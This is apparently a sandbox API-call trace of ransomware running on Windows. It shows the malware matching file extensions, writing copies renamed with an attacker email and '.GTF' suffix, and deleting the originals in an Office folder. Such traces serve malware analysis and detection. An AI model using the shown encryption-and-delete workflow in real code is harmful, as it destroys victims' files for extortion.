	[0166.559] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.559] lstrlenW (lpString=".doc") returned 4
	[0166.559] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".docx") returned 5
	[0166.559] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0166.559] lstrlenW (lpString=".pdf") returned 4
	[0166.559] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".xls") returned 4
	[0166.559] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".xlsx") returned 5
	[0166.559] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0166.559] lstrlenW (lpString=".ppt") returned 4
	[0166.559] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.559] lstrlenW (lpString=".zip") returned 4
	[0166.559] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".rar") returned 4
	[0166.559] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".bz2") returned 4
	[0166.559] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".7z") returned 3
	[0166.559] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.560] lstrlenW (lpString=".dbf") returned 4
	[0166.560] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0166.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.560] lstrlenW (lpString=".1cd") returned 4
	[0166.560] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0166.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.560] lstrlenW (lpString=".jpg") returned 4
	[0166.560] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0166.560] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.560] lstrlenW (lpString="AppVPackaging.dll") returned 17
	[0166.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.561] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=578264) returned 1
	[0166.561] CloseHandle (hObject=0x548) returned 1
	[0166.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220
	[0166.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.562] lstrlenW (lpString=".doc") returned 4
	[0166.562] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.562] lstrlenW (lpString=".docx") returned 5
	[0166.562] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0166.562] lstrlenW (lpString=".pdf") returned 4
	[0166.562] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.562] lstrlenW (lpString=".xls") returned 4
	[0166.562] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.562] lstrlenW (lpString=".xlsx") returned 5
	[0166.562] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0166.562] lstrlenW (lpString=".ppt") returned 4
	[0166.562] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.562] lstrlenW (lpString=".zip") returned 4
	[0166.562] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.562] lstrlenW (lpString=".rar") returned 4
	[0166.562] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.562] lstrlenW (lpString=".bz2") returned 4
	[0166.562] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.562] lstrlenW (lpString=".7z") returned 3
	[0166.562] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.562] lstrlenW (lpString=".dbf") returned 4
	[0166.563] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString=".1cd") returned 4
	[0166.563] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString=".jpg") returned 4
	[0166.563] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString=".doc") returned 4
	[0166.563] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString=".docx") returned 5
	[0166.563] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0166.563] lstrlenW (lpString=".pdf") returned 4
	[0166.563] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString=".xls") returned 4
	[0166.563] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString=".xlsx") returned 5
	[0166.563] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0166.563] lstrlenW (lpString=".ppt") returned 4
	[0166.563] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString=".zip") returned 4
	[0166.563] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString=".rar") returned 4
	[0166.563] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.563] lstrlenW (lpString=".bz2") returned 4
	[0166.563] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.563] lstrlenW (lpString=".7z") returned 3
	[0166.563] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString=".dbf") returned 4
	[0166.563] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.563] lstrlenW (lpString=".1cd") returned 4
	[0166.564] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0166.564] lstrlenW (lpString=".jpg") returned 4
	[0166.564] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.564] lstrcmpiW (lpString1=".manifest", lpString2=".GTF") returned 1
	[0166.564] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26
	[0166.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.564] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=707) returned 1
	[0166.564] CloseHandle (hObject=0x548) returned 1
	[0166.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220
	[0166.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.565] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.565] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0166.566] GetLastError () returned 0x0
	[0166.566] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2c3, lpOverlapped=0x0) returned 1
	[0166.568] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0166.569] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.569] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x108, lpOverlapped=0x0) returned 1
	[0166.569] SetEndOfFile (hFile=0x55c) returned 1
	[0166.569] CloseHandle (hObject=0x55c) returned 1
	[0166.569] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.569] SetEndOfFile (hFile=0x548) returned 1
	[0166.759] CloseHandle (hObject=0x548) returned 1
	[0166.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1
	[0166.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.808] lstrlenW (lpString=".doc") returned 4
	[0166.808] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0166.808] lstrlenW (lpString=".docx") returned 5
	[0166.808] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0166.808] lstrlenW (lpString=".pdf") returned 4
	[0166.808] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0166.808] lstrlenW (lpString=".xls") returned 4
	[0166.808] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0166.808] lstrlenW (lpString=".xlsx") returned 5
	[0166.808] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0166.808] lstrlenW (lpString=".ppt") returned 4
	[0166.809] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString=".zip") returned 4
	[0166.809] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString=".rar") returned 4
	[0166.809] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString=".bz2") returned 4
	[0166.809] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString=".7z") returned 3
	[0166.809] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString=".dbf") returned 4
	[0166.809] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString=".1cd") returned 4
	[0166.809] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString=".jpg") returned 4
	[0166.809] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString=".doc") returned 4
	[0166.809] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString=".docx") returned 5
	[0166.809] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0166.809] lstrlenW (lpString=".pdf") returned 4
	[0166.809] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString=".xls") returned 4
	[0166.809] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString=".xlsx") returned 5
	[0166.809] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0166.809] lstrlenW (lpString=".ppt") returned 4
	[0166.809] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0166.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.809] lstrlenW (lpString=".zip") returned 4
	[0166.809] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0166.810] lstrlenW (lpString=".rar") returned 4
	[0166.810] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0166.810] lstrlenW (lpString=".bz2") returned 4
	[0166.810] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0166.810] lstrlenW (lpString=".7z") returned 3
	[0166.810] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0166.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.810] lstrlenW (lpString=".dbf") returned 4
	[0166.810] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0166.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.810] lstrlenW (lpString=".1cd") returned 4
	[0166.810] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0166.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0166.810] lstrlenW (lpString=".jpg") returned 4
	[0166.810] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0166.810] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.810] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31
	[0166.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0166.811] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=73312) returned 1
	[0166.811] CloseHandle (hObject=0x378) returned 1
	[0166.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220
	[0166.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.812] lstrlenW (lpString=".doc") returned 4
	[0166.812] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.812] lstrlenW (lpString=".docx") returned 5
	[0166.812] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0166.812] lstrlenW (lpString=".pdf") returned 4
	[0166.812] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.812] lstrlenW (lpString=".xls") returned 4
	[0166.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.812] lstrlenW (lpString=".xlsx") returned 5
	[0166.812] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0166.812] lstrlenW (lpString=".ppt") returned 4
	[0166.812] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.812] lstrlenW (lpString=".zip") returned 4
	[0166.812] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".rar") returned 4
	[0166.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".bz2") returned 4
	[0166.813] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.813] lstrlenW (lpString=".7z") returned 3
	[0166.813] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.813] lstrlenW (lpString=".dbf") returned 4
	[0166.813] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.813] lstrlenW (lpString=".1cd") returned 4
	[0166.813] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.813] lstrlenW (lpString=".jpg") returned 4
	[0166.813] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.813] lstrlenW (lpString=".doc") returned 4
	[0166.813] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".docx") returned 5
	[0166.813] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0166.813] lstrlenW (lpString=".pdf") returned 4
	[0166.813] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".xls") returned 4
	[0166.813] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".xlsx") returned 5
	[0166.813] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0166.813] lstrlenW (lpString=".ppt") returned 4
	[0166.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.813] lstrlenW (lpString=".zip") returned 4
	[0166.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".rar") returned 4
	[0166.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.813] lstrlenW (lpString=".bz2") returned 4
	[0166.814] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.814] lstrlenW (lpString=".7z") returned 3
	[0166.814] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.814] lstrlenW (lpString=".dbf") returned 4
	[0166.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.814] lstrlenW (lpString=".1cd") returned 4
	[0166.814] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0166.814] lstrlenW (lpString=".jpg") returned 4
	[0166.814] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.814] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.814] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37
	[0166.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0166.815] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=31328) returned 1
	[0166.815] CloseHandle (hObject=0x378) returned 1
	[0166.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220
	[0166.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.816] lstrlenW (lpString=".doc") returned 4
	[0166.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.816] lstrlenW (lpString=".docx") returned 5
	[0166.816] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0166.816] lstrlenW (lpString=".pdf") returned 4
	[0166.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.816] lstrlenW (lpString=".xls") returned 4
	[0166.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.816] lstrlenW (lpString=".xlsx") returned 5
	[0166.816] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0166.816] lstrlenW (lpString=".ppt") returned 4
	[0166.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.816] lstrlenW (lpString=".zip") returned 4
	[0166.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.816] lstrlenW (lpString=".rar") returned 4
	[0166.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.816] lstrlenW (lpString=".bz2") returned 4
	[0166.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.816] lstrlenW (lpString=".7z") returned 3
	[0166.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.816] lstrlenW (lpString=".dbf") returned 4
	[0166.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
